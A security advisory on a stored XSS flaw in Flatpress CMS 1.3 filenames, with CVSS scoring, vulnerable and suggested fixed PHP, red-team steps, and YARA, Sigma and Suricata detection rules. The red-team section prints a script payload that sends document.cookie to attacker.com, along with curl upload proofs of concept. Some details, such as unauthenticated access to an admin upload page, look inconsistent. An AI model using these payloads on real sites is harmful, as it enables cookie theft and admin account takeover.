CVE-2024-31835

Executive Summary

CVE-2024-31835 is a stored Cross-Site Scripting (XSS) vulnerability in Flatpress CMS version 1.3. The flaw resides in the file name parameter during file upload operations, allowing a remote attacker to inject arbitrary JavaScript or HTML. When the malicious file name is rendered in the admin panel or public pages, the payload executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. No official patch has been released by the vendor, and no public exploit code is available at this time. The vulnerability is classified as medium severity due to the requirement for user interaction (admin viewing the uploaded file).

Supply Chain & Package Security

Flatpress is a standalone PHP CMS distributed via GitHub and its official website. It is not available through package managers like NPM, PyPI, Go, or Ruby. The risk is limited to direct installations of the CMS. Users should verify the integrity of their Flatpress installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – An unauthenticated attacker can upload a file with a malicious name.
• User Interaction (UI): Required (R) – The victim (admin) must view the uploaded file's name.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but can lead to significant impact if an admin is targeted.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of Flatpress CMS. When a user uploads a file, the filename is not properly sanitized before being stored and later displayed. An attacker can craft a filename containing JavaScript code, such as <script>alert('XSS')</script>.txt. When an administrator views the list of uploaded files (e.g., in the media manager), the malicious script executes in their browser.

Root Cause: The application fails to escape or validate the filename parameter before outputting it in HTML context. This is a classic stored XSS vulnerability.

Attack Flow:

1. Attacker identifies a Flatpress instance with file upload enabled.
2. Attacker uploads a file with a malicious filename containing XSS payload.
3. The file is stored on the server with the malicious name.
4. An administrator navigates to the media manager or any page that lists uploaded files.
5. The malicious filename is rendered in the HTML without sanitization.
6. The injected script executes in the admin's browser, potentially stealing cookies or performing actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (Flatpress v1.3):

// In admin/upload.php or similar
$filename = $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
// Later, when displaying:
echo "<li>" . $filename . "</li>";

Patched Code (Hypothetical Fix):

// Sanitize filename
$filename = basename($_FILES['file']['name']);
$filename = htmlspecialchars($filename, ENT_QUOTES, 'UTF-8');
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
// When displaying:
echo "<li>" . $filename . "</li>";

The fix involves:

1. Using basename() to prevent path traversal.
2. Using htmlspecialchars() to escape HTML special characters before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Flatpress v1.3 instance (e.g., using Docker or local setup).
• A web browser with developer tools.

Steps:

1. Navigate to the file upload page (e.g., /admin.php?p=upload).
2. Create a file with a malicious name: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.txt
3. Upload the file.
4. Wait for an admin to view the media manager.
5. The script will execute, sending the admin's cookies to the attacker's server.

Proof of Concept (PoC):

# Create a malicious file
echo "This is a test file" > "><script>alert('XSS')</script>.txt"
# Upload using curl
curl -X POST -F "file=@><script>alert('XSS')</script>.txt" http://target.com/admin.php?p=upload

Blue Team

Detection:

• Monitor file upload logs for filenames containing HTML tags or JavaScript.
• Use WAF rules to block filenames with <script>, onerror=, etc.
• Implement input validation on the server side.

Hunting:

• Search for files in the uploads directory with suspicious names.
• Check web server logs for requests to /admin.php?p=upload with unusual filenames.

Indicators of Compromise (IOCs)

• File Names: Files containing <, >, script, onerror, onload, etc.
• Network Traffic: Outbound connections to attacker-controlled domains from the CMS admin panel.
• Log Entries: Web server logs showing upload requests with encoded or suspicious filenames.
• Browser Behavior: Unexpected pop-ups or redirects when accessing the media manager.

Detection Engineering

YARA Rule

rule flatpress_xss_filename {
    meta:
        description = "Detects malicious filenames used in CVE-2024-31835"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-31835"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Flatpress XSS via Malicious Filename
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of files with XSS payloads in filename
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'p=upload'
        cs-uri-query|re: '(<|>|script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate filenames with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31835 Flatpress XSS via Filename"; flow:to_server; content:"POST"; http_method; content:"p=upload"; http_uri; pcre:"/(<|>|script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file uploads if not required.
2. Implement input validation on the server side to reject filenames containing HTML/JavaScript.
3. Use a Web Application Firewall (WAF) to block malicious filenames.
4. Restrict access to the admin panel to trusted IPs.

Long-Term Fix:

• Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
• Monitor the Flatpress GitHub repository for an official fix.
• Consider migrating to a more actively maintained CMS.

Workaround:

• Modify the admin/upload.php file to sanitize filenames using htmlspecialchars() and basename().

Valters IT
Securing Digital Frontiers